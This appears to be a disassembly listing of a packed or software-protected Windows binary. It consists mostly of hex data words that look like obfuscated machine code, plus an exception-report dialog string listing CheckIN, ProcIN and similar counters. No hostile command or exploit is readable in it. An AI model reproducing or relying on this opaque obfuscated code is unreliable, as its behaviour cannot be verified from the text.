		dd 22DD0DA6h, 8D895550h, 7D32985h, 44BA5059h, 8D67042Eh
		dd 0DB732285h, 0B59D0907h, 5007D329h, 2830F60h,	57000000h
		dd 6E85Eh, 1AF60000h, 14C9170Eh, 890Fh,	615F0000h, 293D8589h
		dd 95FF07D3h, 7D30F01h,	0C483F78Ah, 53006A10h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C47B21B7h
		dd 0C08BEA9Bh, 2058589h, 0BD8307D3h, 7D313B1h, 83097500h
		dd 0D3273DBDh, 19740007h, 0C08B5350h, 7D3B8h, 5858900h
		dd 8D07D318h, 0DB28099Dh, 5BD3FF07h, 3DBD8358h,	7D327h
		dd 53501774h, 7D3B8h, 5858900h,	8D07D318h, 0DB24F89Dh
		dd 5BD3FF07h, 11858958h, 0E907D301h, 13h, 0E35307B9h, 924F3E27h
		dd 6629F4CFh, 2229982Ah, 8BC7E224h, 0C4CA81C0h,	817302C2h
		dd 0DB714CBDh, 65726F07h, 0DB840F61h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 415C356h, 3379CD38h,	0D31B7D8Dh, 0C4858D07h,	5007DB71h
		dd 7301858Dh, 8D5007DBh, 0DB732285h, 95FF5007h,	7D30F01h
		dd 0C60CC483h, 0D318D185h, 4F684407h, 0FF96A318h, 0D30165B5h
		dd 37858D07h, 0FF07D33Ah, 8DD88BD0h, 0DB732285h, 0D3FF5007h
		dd 714C858Dh, 8D5007DBh, 0DB71C485h, 0BD835007h, 7D3027Dh
		dd 8D087400h, 0DB72EA85h, 8D06EB07h, 0DB72D385h, 858D5007h
		dd 7DB7322h, 195FF50h, 8307D30Fh, 6A10C4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0DC726C3h
		dd 8B9F17F4h, 0D306858Dh, 65CA8107h, 8B52FC0Bh,	0D3191D95h
		dd 31F96007h, 0D3151D85h, 95FF6107h, 7D30049h, 459D89h
		dd 8D0F07D3h, 0
		dd 0FF25h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0BC08EFE2h, 814DD18Ah, 0B9A686E7h
		dd 5F88363h, 43830Fh, 0BE80000h, 4E000000h, 0C5D593F2h
		dd 0A8DDE311h, 0C580AFD8h, 85C75F90h, 7D32585h,	1, 0D8E7C781h
		dd 858D6942h, 7DB7180h,	208DBD89h, 0B70F07D3h, 69E9CAh
		dd 81660000h, 891CF0EAh, 0D32F998Dh, 7DBD8307h,	7D302h
		dd 46840Fh, 0CE90000h, 0F2000000h, 0F930DBD2h, 0F626A27Ah
		dd 8D353FE1h, 0DB71AB85h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 500F906h, 0C7817DC4h
		dd 0B26DCh, 0EE9h, 0F5FA8B00h, 718D858Dh, 816607DBh, 89B434C9h
		dd 0DB71C085h, 0C8B70F07h, 27DBD83h, 0F0007D3h,	1C85h
		dd 0D18B6600h, 8147BD83h, 0F0007DBh, 1784h, 6830F00h, 81000000h
		dd 26D252C2h, 11A3E914h, 85890000h, 7D32B09h, 544E9h, 0E938B100h
		dd 10h,	0BE1E794Fh, 0A896D37h, 5F9C52Dh, 0A0B182B3h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8393C3h, 7D313B1h, 83097500h, 0D3273DBDh,	19740007h
		dd 0C08B5350h, 7D4B8h, 5858900h, 8D07D318h, 0DB28099Dh
		dd 5BD3FF07h, 3DBD8358h, 7D327h, 53501774h, 7D4B8h, 5858900h
		dd 8D07D318h, 0DB24F89Dh, 5BD3FF07h, 0FD18A58h,	484h, 5F575700h
		dd 8BC08B5Ah, 79958BCEh, 6807D31Ch, 0F003Fh, 6840Fh, 8D8B0000h
		dd 7D32B19h, 11E9006Ah,	0A2000000h, 5E5DA888h, 0A6826611h
		dd 0ECDC4D84h, 0F52700CBh, 0CE8h, 69237200h, 0F5385CA3h
		dd 0BA4D2208h, 0F8B70F35h, 89006A5Ah, 0D31A21BDh, 9D95FF07h
		dd 6A07D330h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0B893C357h, 0A1F0C024h, 10E92E08h
		dd 7E000000h, 351AD7C3h, 0D42E3438h, 32BF8A0Ah,	8B2904E4h
		dd 0D30279BDh, 0FC08507h, 585h,	0D2816600h, 8589A654h
		dd 7DB7144h, 13CD8D23h,	6A07D3h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 17h, 5CC35343h, 0E908F538h, 9, 41CE36E3h
		dd 0C67310E1h, 66006A67h, 6AF88Bh, 2965B589h, 6A07D3h
		dd 0CA1BD89h, 6A07D3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0D5C35747h, 357D3501h, 8D6DA781h, 0DB732285h
		dd 13E807h, 0E1550000h,	8EE0B65Ch, 0E927E473h, 5F07B549h
		dd 0D7782D4Fh, 0C7D180F9h, 6A505Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0B25791C3h
		dd 0BF665F00h, 0D781F69Ah, 4E5EB919h, 6A016Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0CE46D9C3h, 0EF295F51h, 68A0Fh, 85890000h, 7D317CDh
		dd 9D89016Ah, 7D316BDh,	11E9016Ah, 0C1000000h, 0CC357670h
		dd 8B10699Eh, 0FAFBB1DFh, 3B9FE42Bh, 0F01FF68h,	55E98100h
		dd 830CA35Ch, 0D3027DBDh, 840F0007h, 16h, 2FEA8166h, 0A1858D6Dh
		dd 0F907DB71h, 0EE9h, 0C7816600h, 858D2E34h, 7DB7177h
		dd 50F98B66h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	0BAC35141h, 892FFE81h, 0D31F9D8Dh, 6A5007h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 35DDDEC3h, 0A28D7261h, 48D0F6Fh, 66000000h, 2B2F78B9h
		dd 0D30EA98Dh, 44B5FF07h, 6A07DB71h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 897C350h
		dd 5C6220F4h, 0F905B89h, 68Ch, 9D958B00h, 0FF07D324h, 0DB713095h
		dd 18D8907h, 8507D321h,	59850FC0h, 0E9000000h, 0Fh, 51C5152Dh
		dd 11E7F684h, 0FB6A5A2Dh, 0E9392BA5h, 8Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F0C35343h, 0C7B06746h
		dd 14870F27h, 0E9000000h, 0Fh, 6DCBB785h, 7BCFFFD5h, 0FD2453BAh
		dd 669A1520h, 0FA5BE781h, 71488589h, 9D8907DBh,	7D32FD5h
		dd 7148B5FFh, 11E907DBh, 77000000h, 51CCB660h, 9E16A4EDh
		dd 37DEEDB3h, 4076958Dh, 43ED781h, 95FF2093h, 7D315D9h
		dd 5D8D8Bh, 0C08507D3h,	0A850Fh, 840F0000h, 4, 5F5F5350h
		dd 0BD03106Ah, 7D30B55h, 27DBD83h, 0F0007D3h, 6A84h, 198D8B00h
		dd 8D07D326h, 0DB71A185h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 1A782AC6h
		dd 0AD982E30h, 0E9EFB18Dh, 45h,	11E960h, 0B11D0000h, 0BB654AA9h
		dd 77AD4AE1h, 8342427Bh, 0E8DFAD62h, 13h, 5F4DD9A9h, 95A5A5F5h
		dd 812A595Eh, 0BCE59ACEh, 0B65EF171h, 8D615878h, 0DB717785h
		dd 6840F07h, 89000000h,	0D31B9D8Dh, 0BD895007h,	7D330ADh
		dd 7144B5FFh, 0CE807DBh, 0F1000000h, 47D629C4h,	502C0D0Fh
		dd 0BA9BD0FFh, 28032E42h, 3C95FF5Fh, 8B07DB71h,	0FC085D1h
		dd 685h, 0E5B58900h, 8907D31Bh,	0DB714885h, 0EE907h, 3F6E0000h
		dd 0CCFC5978h, 6BFA3B37h, 6DCF818Dh, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 66832AC3h
		dd 6AD08Bh, 818AB460h, 5CD45FE2h, 0B5FF614Fh, 7DB7148h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 61C35747h
		dd 0B406796h, 3495FF5Eh, 8B07DB71h, 0D30E6D95h,	0FC08507h
		dd 585h, 0B5EB900h, 0B5FF13F3h,	7DB7148h, 0FE9h, 0ADAB3300h
		dd 0C98ED68Eh, 17D880CDh, 4F408BE3h, 15D995FFh,	0B58907D3h
		dd 7D331F1h, 850FC085h,	5, 1EDA8166h, 0F8006AC5h, 8068h
		dd 19890F00h, 0E9000000h, 14h, 3589AE42h, 0B4923275h, 0CC46F76Bh
		dd 0A94C80C1h, 0E245969Fh, 0CE8036Ah, 67000000h, 4990AEEBh
		dd 4A818E1Eh, 5F9783CDh, 6AFC006Ah, 95035200h, 7D320B5h
		dd 6859h, 6652C000h, 648DE281h,	0C0B5FF5Ah, 6007DB71h
		dd 68F0Fh, 8D2B0000h, 7D30825h,	8061EE8Ah, 95FF22CAh, 7D31ACDh
		dd 0F883CE8Bh, 0B2850FFFh, 6A000005h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0A17DC357h
		dd 85FF7C13h, 7DB7C2Eh,	0DE8h, 3B526800h, 39E037h, 729BAC45h
		dd 0AE9AB6Fh, 0F6000000h, 0B2B1A486h, 1F6A8644h, 0BD835F10h
		dd 7DB7C2Eh, 0AC840F02h, 8B000004h, 0D32A358Dh,	3B858D07h
		dd 6A005B24h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 4347C355h, 66186A79h, 0FFF5D38Bh
		dd 53006AD0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 66A9C22Ah, 7E4CF81h, 1E8E858Dh, 8D8B005Bh
		dd 7D30271h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0E2798BC3h, 1885B589h, 0C08B07D3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0ECC35141h
		dd 0F13A84Eh, 0F8Eh, 0AE900h, 294A0000h, 93E826ECh, 0EF9D430Bh
		dd 13B1BD83h, 750007D3h, 3DBD8309h, 7D327h, 53501974h
		dd 0D8B8C08Bh, 89000007h, 0D3180585h, 99D8D07h,	0FF07DB28h
		dd 83585BD3h, 0D3273DBDh, 17740007h, 0D8B85350h, 89000007h
		dd 0D3180585h, 0F89D8D07h, 0FF07DB24h, 6A585BD3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 9A33C350h, 64B79848h, 14AD8D8Bh, 8D8907D3h, 7D323BDh
		dd 830FC08Bh, 6, 1B89BD8Bh, 3F6807D3h, 0E8000F00h, 7, 0DEC4500Bh
		dd 66158FC8h, 593341BAh, 0CA8B006Ah, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7CDFA0C3h
		dd 7B0E762Bh, 31C55ABh,	0D303398Dh, 9D95FF07h, 8B07D330h
		dd 0D32A5DBDh, 0DA816607h, 0C0859F79h, 7E9h, 0ADF27800h
		dd 8D39072Fh, 71448589h, 8B6607DBh, 0AD180D0h, 0F01FF68h
		dd 0E9BD8B00h, 8307D329h, 0D3027DBDh, 840F0007h, 53h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C35141h, 71A1858Dh
		dd 6A07DBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8B66BCC3h, 1FE9CEh, 0BD0B0000h, 7D32359h
		dd 959CB956h, 8D5A4123h, 0DB717785h, 6850F07h, 2B000000h
		dd 0D3337195h, 0B5895007h, 7D30185h, 18830Fh, 0DE80000h
		dd 88000000h, 8F6917AEh, 0E6F6A5ACh, 5306CD9Fh,	0C4F28166h
		dd 0B5FF5A50h, 7DB7144h, 2651BD8Bh, 95FF07D3h, 7DB713Ch
		dd 0BE85951h, 0C1000000h, 949989FAh, 1668AC24h,	9E9497Ah
		dd 0F3000000h, 0C58010D8h, 1F8FD21Eh, 4885895Fh, 107DB71h
		dd 0D303BDBDh, 0C7FB8B07h, 0D30F1585h, 7, 3BBF6600h, 48BD8341h
		dd 7DB71h, 1EE840Fh, 0B70F0000h, 26858DD7h, 6607DB74h
		dd 0AB43D181h, 50006A50h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 7864D857h, 8D31FD04h
		dd 7D32FC9h, 6A016Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0C89F3BC3h, 950B64B6h, 7D32B75h
		dd 295DBD29h, 0B5FF07D3h, 7DB7148h, 2FCDB509h, 95FF07D3h
		dd 7DB7140h, 0B4D18166h, 48B5FF81h, 0E807DB71h,	0Ah, 38009690h
		dd 303A3C59h, 8D8B038Eh, 7D30B89h, 0D995FF59h, 0F907D315h
		dd 0DE8h, 3B62F900h, 13A3C627h,	5C8487C6h, 13E910CBh, 55000000h
		dd 0F1518871h, 0CC99D13Eh, 0BE3F0482h, 22BD6166h, 685F53F0h
		dd 0F01FFh, 0AE9h, 0BBA26100h, 0C68C6E94h, 833AF40Ah, 0D3027DBDh
		dd 840F0007h, 40h, 8B5FBA66h, 10E9h, 3F0A3300h,	0A5408164h
		dd 4104BC42h, 0FF09CA7Fh, 0A1858D93h, 8B07DB71h, 2AE9FBh
		dd 8D0F0000h, 14h, 0FE9h, 0ECB80B00h, 73DC5A87h, 0D4CFF2D2h
		dd 31936EA5h, 7177858Dh, 5E907DBh, 1C000000h, 887B356Fh
		dd 0F88BFC50h, 7144B5FFh, 6A07DBh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0CA8E59C3h, 78F52872h
		dd 6E95ACFh, 68000000h,	0D1A0F775h, 3C95FF8Bh, 8907DB71h
		dd 0D3187DBDh, 8D8B6007h, 7D30279h, 1610BB66h, 48858961h
		dd 8107DB71h, 208FDDEFh, 48B5FF63h, 6A07DB71h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0FA0AC357h, 8BD4A184h, 0D30221BDh, 3895FF07h, 8A07DB71h
		dd 6810FD1h, 0F000000h,	80h, 48B5FF00h,	3107DB71h, 0D302659Dh
		dd 0D995FF07h, 0BF07D315h, 612BCAEh, 0FFF55BE9h, 499D89FFh
		dd 0FF07D32Fh, 0DB7C91B5h, 0D38B6607h, 2D3D95FFh, 8D8B07D3h
		dd 7D30CB9h, 631858Bh, 8B6607D3h, 4E3E9FBh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 21085AC3h, 3B795266h, 8D42EE94h, 0DB7446B5h,	0D5C78107h
		dd 8D693E4Bh, 0DB21D985h, 0BF665007h, 0FF5A6D37h, 3DBD8BD0h
		dd 6A07D30Fh, 0E9816600h, 95FFDD00h, 7D300FDh, 0DE9h, 5D065F00h
		dd 9415D25Ch, 98594C10h, 0F38B3EEEh, 1C898D89h,	0BD2307D3h
		dd 7D330EDh, 21D9858Dh,	816607DBh, 0FF9D99E9h, 0DA8166D0h
		dd 6A6A96h, 0FFD6B70Fh,	0D300FD95h, 83C08B07h, 0D313B1BDh
		dd 9750007h, 273DBD83h,	740007D3h, 8B535019h, 7D9B8C0h
		dd 85890000h, 7D31805h,	28099D8Dh, 0D3FF07DBh, 0BD83585Bh
		dd 7D3273Dh, 50177400h,	7D9B853h, 85890000h, 7D31805h
		dd 24F89D8Dh, 0D3FF07DBh, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 3ADBCCC3h, 0B95100C5h
		dd 95012A90h, 7D31CEDh,	24958589h, 0C08B07D3h, 3201BD8Bh
		dd 8B5007D3h, 0D3073D95h, 9D8D8B07h, 8B07D31Bh,	0D18B66D8h
		dd 8D53D08Ah, 0D313D19Dh, 89038B07h, 50438B03h,	8D504389h
		dd 0DB7C2A9Dh, 89038B07h, 9D895B03h, 7D30DA5h, 29698589h
		dd 958907D3h, 7D32B55h,	9501006Ah, 7D31D65h, 14BD8D8Bh
		dd 858D07D3h, 7DB7C2Ah,	3A88BF66h, 68E0F50h, 29000000h
		dd 0D30CF5B5h, 29606A07h, 0D30A2DB5h, 8D20B507h, 0D313D185h
		dd 11950107h, 5007D32Bh, 6AD08Bh, 8E9h,	2FD000h, 3E64669Bh
		dd 6A006AEEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 6C3EC352h, 0AC983703h,	1800687Ch
		dd 958B0000h, 7D30C91h,	5BD8B53h, 2907D325h, 0D30F1D9Dh
		dd 6D95FF07h, 8907D301h, 0D30AC98Dh, 4D95FF07h,	6607D332h
		dd 0B5FFD08Bh, 7DB7C91h, 2D3D95FFh, 0FE8B07D3h,	13D1858Dh
		dd 6A07D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0F87481C3h, 12CDB956h, 8B5A3990h,	880F1840h
		dd 7, 99DBBA52h, 0C75F5F70h, 0D3256185h, 7, 5FF95700h
		dd 27DBD83h, 0F0007D3h,	2084h, 8C3DF900h, 0F000000h, 18683h
		dd 71BD8900h, 0E907D330h, 1Ah, 38D0Fh, 0E5800000h, 983D4Ch
		dd 830F0000h, 167h, 2FED8589h, 858D07D3h, 5B243Bh, 81953160h
		dd 0B407D32Eh, 0D0FF617Dh, 14E1B531h, 858D07D3h, 5B1E8Eh
		dd 0CBE98166h, 66D0FF83h, 0C08BD18Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 53C35242h, 883645A2h, 71B1227Ch
		dd 21BD8960h, 8B07D32Eh, 0D31801B5h, 0BD836107h, 7D313B1h
		dd 83097500h, 0D3273DBDh, 19740007h, 0C08B5350h, 0BC6B8h
		dd 5858900h, 8D07D318h,	0DB28099Dh, 5BD3FF07h, 3DBD8358h
		dd 7D327h, 53501774h, 0BC6B8h, 5858900h, 8D07D318h, 0DB24F89Dh
		dd 5BD3FF07h, 0D1BF0F58h, 5E960h, 2A3F0000h, 0E9AB86B7h
		dd 0Ah,	8BE8CE7Fh, 0BF12FC17h, 8B61BB4Ah, 0D99589C0h, 8307D32Eh
		dd 850FFFF8h, 46h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0BC35040h, 840FB242h,	5, 7F5E1ABFh, 3585C70Dh
		dd 7D333h, 89000000h, 0D30CA9BDh, 10BE907h, 8B660000h
		dd 16E9D3h, 0F8830000h,	0D850F01h, 0BF000000h, 5E57596Fh
		dd 12CE9h, 5AF85100h, 0FFF173E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0B5BD296Fh
		dd 5007D30Bh, 0B7F8F781h, 8B5A7AC9h, 9D8D8BC0h,	8307D303h
		dd 0D313B1BDh, 9750007h, 273DBD83h, 740007D3h
		dd 8B535019h, 7DDB8C0h,	85890000h, 7D31805h, 28099D8Dh
		dd 0D3FF07DBh, 0BD83585Bh, 7D3273Dh, 50177400h,	7DDB853h
		dd 85890000h, 7D31805h,	24F89D8Dh, 0D3FF07DBh, 9589585Bh
		dd 7D30881h, 1371958Bh,	0C08B07D3h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 2CC35747h, 59958BD6h, 0E907D32Ah
		dd 241h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 18h,	1C35141h, 4A0078F0h, 10E9h, 8E469900h, 45E838F9h
		dd 0AD9E6804h, 7539DF43h, 2E858D8Eh, 6A07DB7Ah,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0F8CCC356h, 872B7B8Eh, 0AE45CA13h, 5098BA66h, 268589F9h
		dd 0F807DB7Ch, 1FE9h, 36858D00h, 8907DB78h, 0D3068585h
		dd 0BD294007h, 7D30395h, 7C268589h, 0E78107DBh,	7F844AB2h
		dd 858D346Ah, 7D32A75h,	26B5FF50h, 6A07DB7Ch, 0FD95FF00h
		dd 8307D32Ah, 840F07F8h, 168h, 0F6DB8C66h, 850F04C3h, 102h
		dd 18D185C6h, 685607D3h, 9CA8B852h, 165B5FFh, 858D07D3h
		dd 7D33A37h, 46AD0FFh, 100068h,	6A646A00h, 89D0FF00h, 0DB7C9985h
		dd 0D185C607h, 4707D318h, 18AC9B68h, 65B5FFECh,	8D07D301h
		dd 0D33A3785h, 0FFD0FF07h, 0C6F08BD0h, 0D318D185h, 61684F07h
		dd 0FFC62F26h, 0D31A91B5h, 37858D07h, 0FF07D33Ah, 959D8DD0h
		dd 5307DB7Ch, 0FF56286Ah, 75C085D0h, 0D185C600h, 4107D318h
		dd 87649868h, 91B5FFDBh, 8D07D31Ah, 0D33A3785h,	89D0FF07h
		dd 0DB7CB285h, 0D185C607h, 4C07D318h, 0A4E7A468h, 91B5FF80h
		dd 8D07D31Ah, 0D33A3785h, 8BD0FF07h, 0DB7C999Dh, 45B8D07h
		dd 9E9D8D53h, 5307DB7Ch, 0D0FF006Ah, 7C999D8Bh,	3C707DBh
		dd 1, 20C43C7h,	8B000000h, 0D319319Dh, 6185C707h, 7D32Ah
		dd 6A000000h, 6A006A00h, 999D8B00h, 5307DB7Ch, 0B5FF006Ah
		dd 7DB7C95h, 7CB295FFh,	85C607DBh, 7D318D1h, 0F7976845h
		dd 0B5FF92A5h, 7D300B9h, 3A37858Dh, 0D0FF07D3h,	26A006Ah
		dd 8C66D0FFh, 4C3F6DBh,	9D8B3275h, 7DB7C99h, 0C43C7h, 6A000000h
		dd 8B006A00h, 0DB7C999Dh, 6A5307h, 7C95B5FFh, 95FF07DBh
		dd 7DB7CB2h, 7C95B5FFh,	95FF07DBh, 7D3324Dh, 95FF006Ah
		dd 7D300FDh, 0E9C88B66h, 13h, 0B995610h, 9C129301h, 9DF08CA0h
		dd 50E5468Eh, 89766E5Eh, 0D325FD95h, 4F858D07h,	6607DBB1h
		dd 6A50CE8Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0A408C351h, 8DF01C83h,	0FF64E8A8h
		dd 35h,	64F08A00h, 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 554417C3h, 202857BFh
		dd 833FB696h, 0D32425BDh, 840F0007h, 89h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 0B9C35141h, 17F9BD29h
		dd 0BD8307D3h, 7D33255h, 5A850F01h, 0F000000h, 685h, 0B59D2900h
		dd 8007D332h, 0DB80B2BDh, 850F0007h, 41h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 0EFC35343h, 357B6012h
		dd 0CE8h, 0A822200h, 3C825468h,	64D95E15h, 595A566Bh, 3339958Bh
		dd 59E907D3h, 0B5000001h, 6ADB3311h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 465DC351h
		dd 80C0330Ah, 0F4030F5h, 640B073Fh, 58Fh, 0C4830000h, 0AD858904h
		dd 6A07D308h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0E78BC355h, 0E55FBDACh, 6663E46Fh
		dd 6A6ADA81h, 0FFFFB83h, 2E84h,	0C88B6600h, 0D9E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 2E50D514h, 0F5BD8BF8h, 0E907D31Ch, 4Bh, 0C244C8Bh, 0A481C7h
		dd 0FFFF0000h, 8183FFFFh, 0B8h,	0C3C03304h, 0C245C8Bh
		dd 0E855h, 815D0000h, 0DBB171EDh, 0B8838B07h, 8D000000h
		dd 0DBB20785h, 0B8838907h, 5D000000h, 0BC3C033h, 0D30D8D95h
		dd 0D9BD8B07h, 8D07D31Ah, 0DBB16785h, 0D1816607h, 0E950FED1h
		dd 10h,	4BB99AAAh, 1DA68D4Eh, 0F8B7BCC3h, 91ECE253h, 35FF64h
		dd 81000000h, 0BB9A13F1h, 25896478h, 0
aI3		db '3',7,'',0Ah,0
		db 2 dup(0), 0B8h
		dd 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h
		dd 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h,	7D323A1h
		dd 1, 58F64h, 83000000h, 0BD8B04C4h, 7D332D9h, 8BD08B66h
		dd 11BD8BC0h, 8307D326h, 0D313B1BDh, 9750007h, 273DBD83h
		dd 740007D3h, 8B535019h, 43DB8C0h, 85890000h, 7D309C9h
		dd 28709D8Dh, 0D3FF07DBh, 0BD83585Bh, 7D3273Dh,	50177400h
		dd 43DB853h, 85890000h,	7D309C9h, 25119D8Dh, 0D3FF07DBh
		dd 8B66585Bh, 57006AFEh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 8C75077Bh, 8B027B37h, 147E9C0h, 40000h
		dd 2E310000h, 303139h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
aG3		db '=3',7,0
		dd 12D840Fh, 858D0000h,	7DB2328h, 92858D50h, 5007DB22h
		dd 168h, 3895FF80h, 8D07DB23h, 0DBB29985h, 858D5007h, 7DBB2A3h
		dd 6A006A50h, 0A6858D00h, 5007DB22h, 2328B5FFh,	95FF07DBh
		dd 7D325A1h, 0B299858Dh, 8D5007DBh, 0DBB2A785h,	6A5007h
		dd 858D006Ah, 7DB22B8h,	28B5FF50h, 0FF07DB23h, 0D325A195h
		dd 99858D07h, 5007DBB2h, 0B2B3858Dh, 6A5007DBh,	8D006A00h
		dd 0DB230585h, 0B5FF5007h, 7DB2328h, 25A195FFh,	858D07D3h
		dd 7DBB299h, 0BB858D50h, 5007DBB2h, 6A006Ah, 2323858Dh
		dd 0FF5007DBh, 0DB2328B5h, 0A195FF07h, 8D07D325h, 0DBB29985h
		dd 858D5007h, 7DBB2B7h,	6A006A50h, 0C858D00h, 5007DB23h
		dd 2328B5FFh, 95FF07DBh, 7D325A1h, 0B299858Dh, 8D5007DBh
		dd 0DBB2AB85h, 6A5007h,	858D006Ah, 7DB2314h, 28B5FF50h
		dd 0FF07DB23h, 0D325A195h, 99858D07h, 5007DBB2h, 0B2AF858Dh
		dd 6A5007DBh, 8D006A00h, 0DB231B85h, 0B5FF5007h, 7DB2328h
		dd 25A195FFh, 0B5FF07D3h, 7DB2328h, 20995FFh, 0A2E907D3h
		dd 83000000h, 0D32FF1BDh, 840F0007h, 95h, 3255BD83h, 0F0007D3h
		dd 1185h, 4D958B00h, 8107D32Eh,	1CF8C2h, 0FE900h, 958D0000h
		dd 7D313D1h, 8134528Bh,	0D4C340C2h, 0DD95893Bh,	8307D31Ah
		dd 0D31ADDBDh, 840F0007h, 55h, 1ADD9D8Bh, 0C38307D3h, 89038B4Ch
		dd 0DBB2A385h, 0DD9D8B07h, 8307D31Ah, 38B50C3h,	0B2A78589h
		dd 9D8B07DBh, 7D31ADDh,	8B54C383h, 0B3858903h, 8B07DBB2h
		dd 0D31ADD9Dh, 58C38307h, 8589038Bh, 7DBB2B7h, 1ADD9D8Bh
		dd 0C38307D3h, 89038B5Ch, 0DBB2AB85h, 3DBD8307h, 7D333h
		dd 0D850Fh, 0BD830000h,	7D32FF1h, 68840F00h, 0FF000000h
		dd 0DBB2BBB5h, 0AFB5FF07h, 0FF07DBB2h, 0DBB2ABB5h, 0B7B5FF07h
		dd 0FF07DBB2h, 0DBB2B3B5h, 0A7B5FF07h, 0FF07DBB2h, 0DBB2A3B5h
		dd 9D858D07h, 5007DBB2h, 0B2D5858Dh, 8D5007DBh,	0D3213985h
		dd 95FF5007h, 7D30F01h,	6A24C483h, 0BF858D40h, 5007DBB2h
		dd 2139858Dh, 6A5007D3h, 0FD95FF00h, 6A07D32Ah,	0FD95FF01h
		dd 8B07D300h, 8E8C1h, 82330000h, 97EF7731h, 0F53D9C1h
		dd 288h, 5FF88B00h, 0BE666058h,	0DA80A98Eh, 0C0816107h
		dd 615Eh, 0B905C680h, 3899540Fh, 4C2EF181h, 13E93899h
		dd 1C000000h, 0DB6C567Dh, 0CA28B11Ah, 0AE1985CCh, 18160696h
		dd 30FFE513h, 0B256BA66h, 0EE85Eh, 0A1A60000h, 0FDE800E6h
		dd 0C4BA725Ch, 0B2C0D6F8h, 60CF8B60h, 815A6161h, 0E7B42BEEh
		dd 5E90Bh, 4CB60000h, 819F0C07h, 0C1F62CF6h, 5840F77h
